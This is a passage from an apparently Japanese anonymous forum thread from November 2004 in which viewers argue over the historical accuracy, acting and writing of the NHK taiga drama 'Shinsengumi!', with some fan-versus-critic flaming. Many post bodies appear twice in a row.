789 ：名無しさん＠お腹いっぱい。：04/11/07 23:35:42 ID:OkFDrTyn
このスレの人たちの言っていることは、まう日本語として理解できませんよね。
頭が悪いことをそんなに自慢したいのでしょうか。
頭が悪いことをそんなに自慢したいのでしょうか。
790 ：名無しさん＠お腹いっぱい。：04/11/07 23:36:59 ID:AZUCuksV
まう
791 ：名無しさん＠お腹いっぱい。：04/11/07 23:44:49 ID:ckRrXyjF
792 ：名無しさん＠お腹いっぱい。：04/11/07 23:44:51 ID:hHvrBlCn
やはりあっという間に釣られてくれるので、本当に嬉しいです。
バカって素敵よね。
バカって素敵よね。
794 ：名無しさん＠お腹いっぱい。：04/11/07 23:50:03 ID:akuMscSb
まぁスペルミス揚げ足取るのは止めとけ
信者は顔文字も使ってないような3行以上の長文は読めないんだろう。漢字も多いしな。
（>>761 >>739など）
だからこのスレの真面目な批評は字面だけで拒否反応を起こしヒステリーに陥る。
信者は顔文字も使ってないような3行以上の長文は読めないんだろう。漢字も多いしな。
（>>761 >>739など）
だからこのスレの真面目な批評は字面だけで拒否反応を起こしヒステリーに陥る。
795 ：名無しさん＠お腹いっぱい。：04/11/07 23:53:43 ID:Mppm5WvB
源さんって周平をかばうんでしょ？
ドラゴンボールのピッコロのパクリだろ？
とうとう三谷は漫画からパクるようになったのか。
ドラゴンボールのピッコロのパクリだろ？
とうとう三谷は漫画からパクるようになったのか。
796 ：名無しさん＠お腹いっぱい。：04/11/07 23:55:10 ID:akuMscSb
http://live14.2ch.net/test/read.cgi/nhkdrama/1099665372/33
33 ：名無しさん＠お腹いっぱい。 ：04/11/07 00:44:27 ID:OkFDrTyn
はい、このスレ終了。
うはｗｗｗｗｗｗｗｗｗｗｗｗｗｗ昨日のｗｗｗｗｗ夜中っからｗｗｗｗｗｗ
繋ぎっぱなしｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗ
アンチスレでｗｗｗｗｗｗｗひたすら啓蒙活動かよｗｗｗｗｗｗｗ信者乙ｗｗｗｗｗｗｗｗｗ
しかもｗｗｗｗｗｗ釣り宣言ｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｶｯｺｲｲｗｗｗｗｗｗｗｗｗｗ
33 ：名無しさん＠お腹いっぱい。 ：04/11/07 00:44:27 ID:OkFDrTyn
はい、このスレ終了。
うはｗｗｗｗｗｗｗｗｗｗｗｗｗｗ昨日のｗｗｗｗｗ夜中っからｗｗｗｗｗｗ
繋ぎっぱなしｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗ
アンチスレでｗｗｗｗｗｗｗひたすら啓蒙活動かよｗｗｗｗｗｗｗ信者乙ｗｗｗｗｗｗｗｗｗ
しかもｗｗｗｗｗｗ釣り宣言ｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｶｯｺｲｲｗｗｗｗｗｗｗｗｗｗ
797 ：名無しさん＠お腹いっぱい。：04/11/08 00:02:13 ID:DSRS2fpH
久しぶりに見てしまったけど、あいかわらず大根だな・・・しんごちゃん。
798 ：名無しさん＠お腹いっぱい。：04/11/08 00:02:39 ID:VNJpSDFH
自分の気に入らない批判が言われるのは許せなくて、
>>789は一生懸命考えたんだろうね。
よし、そういうことを言う人は頭が悪いということにしてしまおう！
進歩的な考え方など美味しい所を強引に近藤に詰め込み、
悪いことは他の登場人物の仕業にして、
却って近藤が嘘っぽい薄っぺらな人物に見える。
ただですら演じ手の香取が下手糞というハンディを背負ってるのに。
いくら何でも三谷がこんな馬鹿らしい脚本を書くとも思えないので
ＮＨＫ側の指導も入っているのだろうか？
タイミング的に、「戦の回避」を強調しているのも、
ここ数年の大河に見られる反戦シフトと取れる余地がある。
ここまでは勘繰り過ぎかもしれないが。
>>789は一生懸命考えたんだろうね。
よし、そういうことを言う人は頭が悪いということにしてしまおう！
進歩的な考え方など美味しい所を強引に近藤に詰め込み、
悪いことは他の登場人物の仕業にして、
却って近藤が嘘っぽい薄っぺらな人物に見える。
ただですら演じ手の香取が下手糞というハンディを背負ってるのに。
いくら何でも三谷がこんな馬鹿らしい脚本を書くとも思えないので
ＮＨＫ側の指導も入っているのだろうか？
タイミング的に、「戦の回避」を強調しているのも、
ここ数年の大河に見られる反戦シフトと取れる余地がある。
ここまでは勘繰り過ぎかもしれないが。
799 ：名無しさん＠お腹いっぱい。：04/11/08 00:03:43 ID:aySfZExX
>>796
まあ、俺もアンチだけど、お前とは一緒にされたくないよ。
まあ、俺もアンチだけど、お前とは一緒にされたくないよ。
800 ：名無しさん＠お腹いっぱい。：04/11/08 00:04:06 ID:VNJpSDFH
>>797
主役以外は、個人的には嵌っているキャスティングが多いんだけどな。
主役以外は、個人的には嵌っているキャスティングが多いんだけどな。
801 ：名無しさん＠お腹いっぱい。：04/11/08 00:05:54 ID:tEWPI/7U
802 ：名無しさん＠お腹いっぱい。：04/11/08 00:22:53 ID:OD4871Oe
過去に新撰組を扱った小説、映画、ＴＶで、ここまでやみ雲に近藤を美化した作品てありましたっけ？
ピカレスクロマンとして描かない限り、主役の美化はある程度仕方ないけど、今回はあまりに異常。
大河の歴史の中でも｢徳川家康｣以上の強引さだと思える。
ピカレスクロマンとして描かない限り、主役の美化はある程度仕方ないけど、今回はあまりに異常。
大河の歴史の中でも｢徳川家康｣以上の強引さだと思える。
803 ：名無しさん＠お腹いっぱい。：04/11/08 00:26:43 ID:SjUvxRyQ
てか盲目マンセーｦﾀの>>789なのがわざわざアンチスレに来るのがわからん
ｦﾀだがたまにやりきれなくなってこのスレで愚痴(批判)の一つでも溢したいってんならわかるが
ｦﾀだがたまにやりきれなくなってこのスレで愚痴(批判)の一つでも溢したいってんならわかるが
804 ：名無しさん＠お腹いっぱい。：04/11/08 00:28:10 ID:uhqBZ7B4
>>802
「徳川家康」の場合、美化はしていたが家康が絡んだエピソードを
殆ど網羅していたから、そんなに拒否反応が出なかったのかも。
「ああ、こういう解釈もあるのね」って感じで。
「新選組！」はロクに新選組が絡んだ事件を描いていないから
「なんだ、これ？」となるのではないかと思う。
「徳川家康」の場合、美化はしていたが家康が絡んだエピソードを
殆ど網羅していたから、そんなに拒否反応が出なかったのかも。
「ああ、こういう解釈もあるのね」って感じで。
「新選組！」はロクに新選組が絡んだ事件を描いていないから
「なんだ、これ？」となるのではないかと思う。
805 ：名無しさん＠お腹いっぱい。：04/11/08 00:28:44 ID:at49Q07e
んだんだ強引だ。おまけに話しが面白くないし、近藤勇の言動が、当たる
キャラ（会話するという意味ね）によって正反対の事言ったりするもんだ
から人格というか、正確というか思想が一貫性が無くて破綻。
美化というからには何か貫徹した方針みたいなのは欲しいけれどね。
その場その場で近藤勇という男が良ければ、前後の辻褄はどうでもよし。
新撰組がやった罪や近藤勇の欠点も描いてこそ、人々の共感を得ると思うけど。
キャラ（会話するという意味ね）によって正反対の事言ったりするもんだ
から人格というか、正確というか思想が一貫性が無くて破綻。
美化というからには何か貫徹した方針みたいなのは欲しいけれどね。
その場その場で近藤勇という男が良ければ、前後の辻褄はどうでもよし。
新撰組がやった罪や近藤勇の欠点も描いてこそ、人々の共感を得ると思うけど。
806 ：名無しさん＠お腹いっぱい。：04/11/08 00:29:47 ID:2E9PPtN7
いや、ああいうのは美化とはいわないと思う。
807 ：名無しさん＠お腹いっぱい。：04/11/08 00:30:00 ID:at49Q07e
>>802 に対してのレスだす。
書き込み損ねちゃっター。
書き込み損ねちゃっター。
808 ：名無しさん＠お腹いっぱい。：04/11/08 00:34:47 ID:iHxjxxoQ
どちらにしろ近藤の発言の変わりようにはついていけん
真面目に見ていると混乱するだろう
真面目に見ていると混乱するだろう
809 ：名無しさん＠お腹いっぱい。：04/11/08 00:45:11 ID:5dh2gpx3
近藤の「御手前方は何をなされた！」って壬生のパクリだと思うんだけど
相手の水戸藩士がすっごい勢いでブルってたのにﾜﾗﾀ。
あげくのはてに扇子落としたりして。
あのシーンってさ、水戸藩の側にも正論はあるんだよね。
だからあんなにあからさまにブルブル震える必要はまったくない。
壬生テレビ版はそのへんをよく心得ていて
近藤に「あなた方は何もしていない」という痛いところをつかれて
水戸藩士が気まずそうに押し黙るという演出だった。
大河はまるで近藤に完璧に論破されたかのような挙動不審ぶり・・。
っていうかあの時って、水戸藩側はかなり丁重に
新選組の援助を断ってるんだよね。
水戸藩士長谷川作十郎なんかは著書「徳川慶喜公伝」で
近藤の覚悟を賞賛し、二条城入城を拒まれた無念さを憐れんでさえいるのに
あんなあからさまな悪人に仕立てられて哀れすぎる。
まあこの大河に史実云々言ってもしゃーないけど。
近藤がかっこよければそれでいいみたいだから。
相手の水戸藩士がすっごい勢いでブルってたのにﾜﾗﾀ。
あげくのはてに扇子落としたりして。
あのシーンってさ、水戸藩の側にも正論はあるんだよね。
だからあんなにあからさまにブルブル震える必要はまったくない。
壬生テレビ版はそのへんをよく心得ていて
近藤に「あなた方は何もしていない」という痛いところをつかれて
水戸藩士が気まずそうに押し黙るという演出だった。
大河はまるで近藤に完璧に論破されたかのような挙動不審ぶり・・。
っていうかあの時って、水戸藩側はかなり丁重に
新選組の援助を断ってるんだよね。
水戸藩士長谷川作十郎なんかは著書「徳川慶喜公伝」で
近藤の覚悟を賞賛し、二条城入城を拒まれた無念さを憐れんでさえいるのに
あんなあからさまな悪人に仕立てられて哀れすぎる。
まあこの大河に史実云々言ってもしゃーないけど。
近藤がかっこよければそれでいいみたいだから。
810 ：名無しさん＠お腹いっぱい。：04/11/08 00:50:13 ID:Di3umDJQ
こんなはっきりしない主人公初めて見た
811 ：名無しさん＠お腹いっぱい。：04/11/08 00:51:03 ID:4CqnC24k
お前ら春からほとんど毎回みてんの？
812 ：名無しさん＠お腹いっぱい。：04/11/08 00:51:40 ID:R5rU2HqV
そうなんだよなー。美化していても、史実と違っても、
これが今回の大河の近藤、ていう個性の強烈なキャラクターだったら
面白いと思うんだけどな。別に気持ちが変化してもいいが、
変化する心理描写がうまく処理されてない。
なんとなーくいつのまにか仕方なくこんなことになっちゃったー、みたいな。
しかし次回の源さんは面白そうなんで見るぞ。
これが今回の大河の近藤、ていう個性の強烈なキャラクターだったら
面白いと思うんだけどな。別に気持ちが変化してもいいが、
変化する心理描写がうまく処理されてない。
なんとなーくいつのまにか仕方なくこんなことになっちゃったー、みたいな。
しかし次回の源さんは面白そうなんで見るぞ。
813 ：名無しさん＠お腹いっぱい。：04/11/08 00:54:40 ID:R5rU2HqV
814 ：名無しさん＠お腹いっぱい。：04/11/08 00:57:37 ID:uFEbqsRu
815 ：名無しさん＠お腹いっぱい。：04/11/08 00:58:26 ID:OD4871Oe
なんか、ヲタにしろアンチにしろ、
このドラマを斬新だと思ってる人がいるみたいだけど、そうかな？
主役の毒にも薬にもならない聖人君子ぶりや、
登場人物の人畜無害な描き方なんて、
半世紀前のオールスター時代劇のノリに見えるんだけどね。
このドラマを斬新だと思ってる人がいるみたいだけど、そうかな？
主役の毒にも薬にもならない聖人君子ぶりや、
登場人物の人畜無害な描き方なんて、
半世紀前のオールスター時代劇のノリに見えるんだけどね。
816 ：名無しさん＠お腹いっぱい。：04/11/08 01:04:50 ID:R5rU2HqV
817 ：名無しさん＠お腹いっぱい。：04/11/08 01:29:26 ID:5dh2gpx3
>>734
永井尚志が近藤と懇意だったのは事実ですな。
永井の護衛を新選組がつとめていて
後に「新選組は片時も私のもとを離れず護衛してくれた。
まことに情誼深い者たちである」と語り残してる。
近藤個人のためにわざわざ骨を折って
土佐の後藤象二郎と引き合わせたりもしてるね。
ただドラマのような
永井「わしらはどうすればいい。近藤教えてくれ」
などということはあり得ないがw
むしろ永井のほうが近藤に時勢を教授してやっていたと思われる。
一方の徳川慶喜だが、慶応三年末の時点では近藤との直接の接触は記録にない。
ドラマでは慶喜が直々に近藤に対して二条城の守備を命じ
水戸藩とかち合ったのは「慶喜はたまにその場の勢いで行動するから」
ということになっていたがw、無論そんなわけはなく
慶喜は水戸藩に二条城守備を命じたのだが
それを知らない老中連が新選組にも同じ命令を出したために
両者がかち合うことになった、というのが正解。
永井尚志が近藤と懇意だったのは事実ですな。
永井の護衛を新選組がつとめていて
後に「新選組は片時も私のもとを離れず護衛してくれた。
まことに情誼深い者たちである」と語り残してる。
近藤個人のためにわざわざ骨を折って
土佐の後藤象二郎と引き合わせたりもしてるね。
ただドラマのような
永井「わしらはどうすればいい。近藤教えてくれ」
などということはあり得ないがw
むしろ永井のほうが近藤に時勢を教授してやっていたと思われる。
一方の徳川慶喜だが、慶応三年末の時点では近藤との直接の接触は記録にない。
ドラマでは慶喜が直々に近藤に対して二条城の守備を命じ
水戸藩とかち合ったのは「慶喜はたまにその場の勢いで行動するから」
ということになっていたがw、無論そんなわけはなく
慶喜は水戸藩に二条城守備を命じたのだが
それを知らない老中連が新選組にも同じ命令を出したために
両者がかち合うことになった、というのが正解。
818 ：名無しさん＠お腹いっぱい。：04/11/08 02:02:06 ID:h/i+qXq5
史実のほうが面白い大河なんて・・・
819 ：名無しさん＠お腹いっぱい。：04/11/08 02:04:49 ID:BOyQEZGc
慶喜が近藤と佐々木の二人だけを召して意見を聞くって‥まぁ常識的に考えてありえんわな。
ただ、近藤はここまで偉くなったんですよ～って演出の一貫としてはアリだと思うけど。
ただあれだと慶喜がまるで近藤の意見に勢いを得て大阪撤退を決めたみたいに見えるよな。
新選組なんて現実には会津と共に主戦派の筆頭だったわけで
その長の近藤が一時撤退を主張して慶喜を動かす‥う～ん。
ただ、近藤はここまで偉くなったんですよ～って演出の一貫としてはアリだと思うけど。
ただあれだと慶喜がまるで近藤の意見に勢いを得て大阪撤退を決めたみたいに見えるよな。
新選組なんて現実には会津と共に主戦派の筆頭だったわけで
その長の近藤が一時撤退を主張して慶喜を動かす‥う～ん。
820 ：名無しさん＠お腹いっぱい。：04/11/08 02:08:19 ID:bQ7QzrbS
>>809
水戸藩は面目を保つために天狗党を犠牲にしてるのになあ。
何で大場一真斎に突っ掛かかるかね。
近藤の憤る理由がさっぱりわからん。
あんな珍奇なキレ具合は、二十年ぐらい前に一度見た木ガス。
最後の土方のしてやったりな物言いも、(ﾟДﾟ)ﾊｧ?って感じだった。
同じ内ゲバでも損失と判断の重さが違うんだと言いたかったのだろうか？
ドラマ作ってる人達の頭の中から記憶が飛んでいたのだろうか？
水戸藩は面目を保つために天狗党を犠牲にしてるのになあ。
何で大場一真斎に突っ掛かかるかね。
近藤の憤る理由がさっぱりわからん。
あんな珍奇なキレ具合は、二十年ぐらい前に一度見た木ガス。
最後の土方のしてやったりな物言いも、(ﾟДﾟ)ﾊｧ?って感じだった。
同じ内ゲバでも損失と判断の重さが違うんだと言いたかったのだろうか？
ドラマ作ってる人達の頭の中から記憶が飛んでいたのだろうか？
821 ：名無しさん＠お腹いっぱい。：04/11/08 02:12:15 ID:Di3umDJQ
近藤ってずっと頭悪い設定だったのに
対伊東のときに急に変わった？
対伊東のときに急に変わった？
822 ：名無しさん＠お腹いっぱい。：04/11/08 02:20:34 ID:5dh2gpx3
>>819
伏見に駐屯した新選組は
薩摩藩兵と「争論」になり一触即発状態になったり
上洛した後藤象二郎の籠を蹴り飛ばして武田街道まで追跡したり、
かなり物騒な動きをしてるしね。
見かねた尾張藩が新選組に対して
「お前らがいると戦になりそうだからとりあえず撤兵してくれ」
と持ちかけたりもしている。
実際の新選組は戦争自重派どころか戦う気満々だったんだよね。
伏見に駐屯した新選組は
薩摩藩兵と「争論」になり一触即発状態になったり
上洛した後藤象二郎の籠を蹴り飛ばして武田街道まで追跡したり、
かなり物騒な動きをしてるしね。
見かねた尾張藩が新選組に対して
「お前らがいると戦になりそうだからとりあえず撤兵してくれ」
と持ちかけたりもしている。
実際の新選組は戦争自重派どころか戦う気満々だったんだよね。
823 ：名無しさん＠お腹いっぱい。：04/11/08 02:33:21 ID:HkiH0ULo
美化しすぎで破綻してるよ、話が・・・
流山のやりとりも、もう皆に戦をさせたくないから、投降した、という事になりそうだね。
にしてもドラマをドラマと思えない人が多くて困る。
流山のやりとりも、もう皆に戦をさせたくないから、投降した、という事になりそうだね。
にしてもドラマをドラマと思えない人が多くて困る。
824 ：名無しさん＠お腹いっぱい。：04/11/08 02:51:35 ID:UM2BTE7g
微妙な時期だけに上層部にとって時勢読めない新選組が邪魔だったのは事実だな
だから名前変えられてあっさり対外的には存在しない事にされた
だから名前変えられてあっさり対外的には存在しない事にされた
825 ：名無しさん＠お腹いっぱい。：04/11/08 02:54:00 ID:3zM+LICL
B作が慶喜のことを「あのお方は～」と言ったのには驚きました。
826 ：名無しさん＠お腹いっぱい。：04/11/08 03:02:37 ID:JWCulr4B
88 ：名無しさん＠お腹いっぱい。 ：04/11/07 21:23:58 ID:3RnOXzhS
島田は局長に付きっきりだったな。
放送されないけど函館まで一緒だし土方の後ろに付いてることが
多いのかと思ったけどそうじゃないんだな。
山崎も副長直属ってのじゃなくて逆にほとんど局長に付いてるし。
何か全部近藤に持ってかれる。
この大河が近藤主役だからもちろん仕方ないんだろうけど
一人ぐらい土方だけの部下でいつも控えてるって隊士が
いてもいいだろよ。最近そうじゃないけどただでさえ
他隊士に嫌われてた人なのに･･･
主役だからって何でもかんでも持っていきすぎだよ。
ちょっと愚痴ってしまった。ごめん。
島田は局長に付きっきりだったな。
放送されないけど函館まで一緒だし土方の後ろに付いてることが
多いのかと思ったけどそうじゃないんだな。
山崎も副長直属ってのじゃなくて逆にほとんど局長に付いてるし。
何か全部近藤に持ってかれる。
この大河が近藤主役だからもちろん仕方ないんだろうけど
一人ぐらい土方だけの部下でいつも控えてるって隊士が
いてもいいだろよ。最近そうじゃないけどただでさえ
他隊士に嫌われてた人なのに･･･
主役だからって何でもかんでも持っていきすぎだよ。
ちょっと愚痴ってしまった。ごめん。
827 ：名無しさん＠お腹いっぱい。：04/11/08 03:52:42 ID:ygfP3Pbr
あなたは龍馬さんが愛した人として・・
は、三谷映画「龍馬の妻とその夫と愛人」の宣伝か？セコイ三谷。
錦の御旗・・岩倉が官軍に「西陣織の女物の帯」を掲げさせた。セコイ岩倉。
は、三谷映画「龍馬の妻とその夫と愛人」の宣伝か？セコイ三谷。
錦の御旗・・岩倉が官軍に「西陣織の女物の帯」を掲げさせた。セコイ岩倉。
828 ：名無しさん＠お腹いっぱい。：04/11/08 04:13:35 ID:VNJpSDFH
829 ：名無しさん＠お腹いっぱい。：04/11/08 10:15:57 ID:4ISyfY+L
たしか、慶喜主人公の大河あった気がするのだが
見たこと無いから教えてくれくれ。
日本史の授業では、大政奉還をやった人ということだけ習った
記憶があって、何となく周りにいいように動かれたヘタレ
というイメージだったのだが、
本ドラマを見るに当たって、いわゆる史実本を見ると
将軍職に就く前から一橋慶喜としてそれなりに策を弄していた
ようだ。
大河ではどう描かれたのだろうか？
新選組はさすがく端役過ぎて出てこない？
見たこと無いから教えてくれくれ。
日本史の授業では、大政奉還をやった人ということだけ習った
記憶があって、何となく周りにいいように動かれたヘタレ
というイメージだったのだが、
本ドラマを見るに当たって、いわゆる史実本を見ると
将軍職に就く前から一橋慶喜としてそれなりに策を弄していた
ようだ。
大河ではどう描かれたのだろうか？
新選組はさすがく端役過ぎて出てこない？
830 ：名無しさん＠お腹いっぱい。：04/11/08 10:46:02 ID:aGi2btJD
＞809 同意ス。
近藤さんが優柔不断な悩める青年になってるもんだから、他の重鎮達をヘタレに
描くしか近藤美化の手だてがないんだよね（笑）。
はからずも自分たちが倒幕のマッチになってしまった悲劇を重視した方が
お話に重みを置いてよかったんじゃないの。
不逞浪士の取り締まり組織だったからこそ、最前線だった３Ｋ仕事だったから
こそ、直参旗本になれた訳で、そういう苦労が実は周囲の穏健派からは蛇蝎に
嫌われて、見られていたという見方を新撰組ビギナーに知ってもらった方が
良いのよ。なんで、佐幕派、倒幕派から嫌われる存在であったか、という所の
検証は、実は新撰組が歴史の中で存在した意義なんかが解りやすくなると思う
近藤さんが優柔不断な悩める青年になってるもんだから、他の重鎮達をヘタレに
描くしか近藤美化の手だてがないんだよね（笑）。
はからずも自分たちが倒幕のマッチになってしまった悲劇を重視した方が
お話に重みを置いてよかったんじゃないの。
不逞浪士の取り締まり組織だったからこそ、最前線だった３Ｋ仕事だったから
こそ、直参旗本になれた訳で、そういう苦労が実は周囲の穏健派からは蛇蝎に
嫌われて、見られていたという見方を新撰組ビギナーに知ってもらった方が
良いのよ。なんで、佐幕派、倒幕派から嫌われる存在であったか、という所の
検証は、実は新撰組が歴史の中で存在した意義なんかが解りやすくなると思う
831 ：続き：04/11/08 10:49:58 ID:aGi2btJD
のだが、そんなビギナーへのレクチャランスなんかなぁ～んにも考えて
ない、ただの三谷の煩悩解消ドラマで自分の好きな俳優に大河出演という
プロフの肩書きをつけてやった恩売りの道具だった訳ですが、それに
振り回された、ファンや地元の人たち、お疲れさまという事で。
ない、ただの三谷の煩悩解消ドラマで自分の好きな俳優に大河出演という
プロフの肩書きをつけてやった恩売りの道具だった訳ですが、それに
振り回された、ファンや地元の人たち、お疲れさまという事で。
832 ：名無しさん＠お腹いっぱい。：04/11/08 11:03:21 ID:RSlEUviP
函館や鷲の木、江差まで行った幕末好きだけど、
三谷の作品はまあまあ好きだし
新撰組は娯楽として楽しもうと見てます。
たーだー、将軍様にあんなに近くでご対面＆直答させるのは
局長様美化という以前に、可笑しすぎる光景だった。
十五代様がいくらヘタレだとしてもお気軽すぎる。
新撰組が伏見へ退去するにあたっては、
描きようのある人間模様がたくさん見つかるだろうに。
三谷の作品はまあまあ好きだし
新撰組は娯楽として楽しもうと見てます。
たーだー、将軍様にあんなに近くでご対面＆直答させるのは
局長様美化という以前に、可笑しすぎる光景だった。
十五代様がいくらヘタレだとしてもお気軽すぎる。
新撰組が伏見へ退去するにあたっては、
描きようのある人間模様がたくさん見つかるだろうに。
833 ：聴いたか坊主 ◆hR3wqNAfPQ ：04/11/08 11:57:05 ID:FBi4B1eh
11/7 新選組！ 17.9%（関西14.5%）
834 ：名無しさん＠お腹いっぱい。：04/11/08 12:05:00 ID:31VnAqFG
>>833
乙です
乙です
835 ：名無しさん＠お腹いっぱい。：04/11/08 12:07:31 ID:KxJCk44m
どうせ糞薙の時に上がるんだろ
836 ：名無しさん＠お腹いっぱい。：04/11/08 12:28:20 ID:FECZ+0O7
>>824名前はしんせん組に戻ったんじゃないのか？
悪い教えてくれ
悪い教えてくれ
837 ：名無しさん＠お腹いっぱい。：04/11/08 12:34:15 ID:sYZ0ge+q
･･･何故に関西はいつも関東より低いの？阪神戦も終わったのに。
838 ：名無しさん＠お腹いっぱい。：04/11/08 13:08:29 ID:FECZ+0O7
おりょうが近藤を襲ったのは史実なのか？
ま、いろんな方面から狙われてたんだろーが
ま、いろんな方面から狙われてたんだろーが
839 ：名無しさん＠お腹いっぱい。：04/11/08 13:31:03 ID:AKMoT7LM
840 ：名無しさん＠お腹いっぱい。：04/11/08 14:09:22 ID:tGs47V57
841 ：名無しさん＠お腹いっぱい。：04/11/08 14:20:11 ID:OD4871Oe
>>830
>不逞浪士の取り締まり組織だったからこそ、最前線だった３Ｋ仕事だったから
>こそ、直参旗本になれた訳で、そういう苦労が実は周囲の穏健派からは蛇蝎に
>嫌われて、見られていたという見方を新撰組ビギナーに知ってもらった方が
>良いのよ
そうだよねぇ
新撰組の魅力なんて、ある意味｢鉄砲玉の美学｣だもんね。
最近の近藤の悩める忠臣ぶりは、まるで大楠公だな。
>不逞浪士の取り締まり組織だったからこそ、最前線だった３Ｋ仕事だったから
>こそ、直参旗本になれた訳で、そういう苦労が実は周囲の穏健派からは蛇蝎に
>嫌われて、見られていたという見方を新撰組ビギナーに知ってもらった方が
>良いのよ
そうだよねぇ
新撰組の魅力なんて、ある意味｢鉄砲玉の美学｣だもんね。
最近の近藤の悩める忠臣ぶりは、まるで大楠公だな。
842 ：名無しさん＠お腹いっぱい。：04/11/08 14:20:27 ID:BOyQEZGc
「香取さんの演技がすごくかっこよかった！」
「おりょうさんへの言葉に三谷さんの優しさを感じました！」
「来週の予告を見ただけで泣いてしまいました！」
こんな人種と議論ができるわけがない。
ほっとけ。
「おりょうさんへの言葉に三谷さんの優しさを感じました！」
「来週の予告を見ただけで泣いてしまいました！」
こんな人種と議論ができるわけがない。
ほっとけ。
843 ：名無しさん＠お腹いっぱい。：04/11/08 14:32:51 ID:LQK6kkHK
>>836
自分たちで呼称を勝手にもとに戻した、てところが実情に近い
旧幕府内では新選組で通すで済んだろうが最終的には周知の通り甲陽鎮撫隊に
再び改名されて名簿上の存在を抹消された
公式には、新政府軍側ではさきの改名に従ってその後も「新遊撃隊降伏人名簿」とか
新遊撃隊として扱っている
自分たちで呼称を勝手にもとに戻した、てところが実情に近い
旧幕府内では新選組で通すで済んだろうが最終的には周知の通り甲陽鎮撫隊に
再び改名されて名簿上の存在を抹消された
公式には、新政府軍側ではさきの改名に従ってその後も「新遊撃隊降伏人名簿」とか
新遊撃隊として扱っている
844 ：名無しさん＠お腹いっぱい。：04/11/08 14:48:02 ID:h/i+qXq5
>>840のサイトより
>あなたは、どうして批判しかできないのですか？そんな大河ドラマの
>見かたをしておもしろいですか？つまらない見かたですね！(時間もったいないですよ！）
>私だったら、一回見て面白くなかったらもう次回からは見ません。
>あなたは、毎回、毎回、新選組の批判ばっかりしてなにがおもしろいのですか？ しまいに新選組隊士の面々が夢に出てきてうなされますよ！きっと！
>いろんなテレビの見かたはあっていいと思うんですが、あなたのは見かたじゃなくて”文句”です。えらけりゃ大河ドラマ創ってみなさい！！
>よー創らんでしょ！三谷さんに失礼です！
>新選組を愛する私たちに失礼ですよ！
>ここに書かず、自分の大学ノートに好きなだけ書きなさい！わかった！！
お前らに対する意見だぞ。真摯に聞けよ
>あなたは、どうして批判しかできないのですか？そんな大河ドラマの
>見かたをしておもしろいですか？つまらない見かたですね！(時間もったいないですよ！）
>私だったら、一回見て面白くなかったらもう次回からは見ません。
>あなたは、毎回、毎回、新選組の批判ばっかりしてなにがおもしろいのですか？ しまいに新選組隊士の面々が夢に出てきてうなされますよ！きっと！
>いろんなテレビの見かたはあっていいと思うんですが、あなたのは見かたじゃなくて”文句”です。えらけりゃ大河ドラマ創ってみなさい！！
>よー創らんでしょ！三谷さんに失礼です！
>新選組を愛する私たちに失礼ですよ！
>ここに書かず、自分の大学ノートに好きなだけ書きなさい！わかった！！
お前らに対する意見だぞ。真摯に聞けよ
845 ：名無しさん＠お腹いっぱい。：04/11/08 15:01:59 ID:ODEmE5hj
>>829
大河徳川慶喜でも新選組は出てくるよ
まあ、池田屋事件のあたりだけだけど
で、慶喜は誰が敵で誰が味方かわからん世の中を
（実際に幕臣や実家の水戸藩の連中が常に足を引っ張る）
外国との問題を常に念頭に置きながら薩長に先駆けて新政府を構築しようとして挫折
こんな筋です
大政奉還は諸大名に宣言する前に
薩摩・土佐・慶喜の間での色々政治的駆け引きがあった所のが重点的かな
ドラマでこういう政治劇は不評だったようだけど
大河徳川慶喜でも新選組は出てくるよ
まあ、池田屋事件のあたりだけだけど
で、慶喜は誰が敵で誰が味方かわからん世の中を
（実際に幕臣や実家の水戸藩の連中が常に足を引っ張る）
外国との問題を常に念頭に置きながら薩長に先駆けて新政府を構築しようとして挫折
こんな筋です
大政奉還は諸大名に宣言する前に
薩摩・土佐・慶喜の間での色々政治的駆け引きがあった所のが重点的かな
ドラマでこういう政治劇は不評だったようだけど
846 ：名無しさん＠お腹いっぱい。：04/11/08 15:03:27 ID:/R6xkB1k
>>844
大河ドラマの枠であんなクソドラマを作った三谷は許されると
思ってるのかよ。
三谷は、オチャラケ枠から出るのは禁止。
つうかもう二度とシリアス系のドラマの脚本を三谷に以依頼する
ような馬鹿はいないだろうがなｗ。
大河ドラマの枠であんなクソドラマを作った三谷は許されると
思ってるのかよ。
三谷は、オチャラケ枠から出るのは禁止。
つうかもう二度とシリアス系のドラマの脚本を三谷に以依頼する
ような馬鹿はいないだろうがなｗ。
847 ：名無しさん＠お腹いっぱい。：04/11/08 15:06:12 ID:RBJnFYxe
848 ：名無しさん＠お腹いっぱい。：04/11/08 15:06:13 ID:/R6xkB1k
三谷に似合いなのは、漫才の台本ってところ。
849 ：名無しさん＠お腹いっぱい。：04/11/08 15:08:55 ID:fBF1UZXW
>>847
小学生のケンカみたいなことしか言えない馬鹿ハケーンｗ
小学生のケンカみたいなことしか言えない馬鹿ハケーンｗ
ｵﾏｴﾓﾅｰｗ
851 ：名無しさん＠お腹いっぱい。：04/11/08 15:23:36 ID:fBF1UZXW
>>846
「徳川慶喜」は、幕末の混沌した雰囲気、幕府権力が衰えてテロ
が横行する不気味さ、将来が見えない不安感が映像的に良く描か
れていた。
三谷の新選組は、そのあたりを登場人物でが詞で喋って説明する
という安直な手法で片付けていたね。
しかも軽薄な香取近藤、三十半ばになっても相変わらずヤンキーな
山本土方、馬鹿殿ふうで全然それらしくない松平容保・・などなど、
厨房とは言わないが、せいぜい高校の演劇部レベルの演技。
これじゃあ、恥かしくて公共の電波に乗せられる代物じゃない。
「徳川慶喜」は、幕末の混沌した雰囲気、幕府権力が衰えてテロ
が横行する不気味さ、将来が見えない不安感が映像的に良く描か
れていた。
三谷の新選組は、そのあたりを登場人物でが詞で喋って説明する
という安直な手法で片付けていたね。
しかも軽薄な香取近藤、三十半ばになっても相変わらずヤンキーな
山本土方、馬鹿殿ふうで全然それらしくない松平容保・・などなど、
厨房とは言わないが、せいぜい高校の演劇部レベルの演技。
これじゃあ、恥かしくて公共の電波に乗せられる代物じゃない。
852 ：名無しさん＠お腹いっぱい。：04/11/08 15:34:13 ID:FECZ+0O7
TSUTAYAで新せん組血風録（司馬）買ってきたよ
853 ：名無しさん＠お腹いっぱい。：04/11/08 15:35:38 ID:5dh2gpx3
そういや近藤が「我等が命をかけて戦ったこの五年・・」と言ってたけど
はっきり言って新選組が敵対勢力と戦ってる描写って極端に少ないよな。
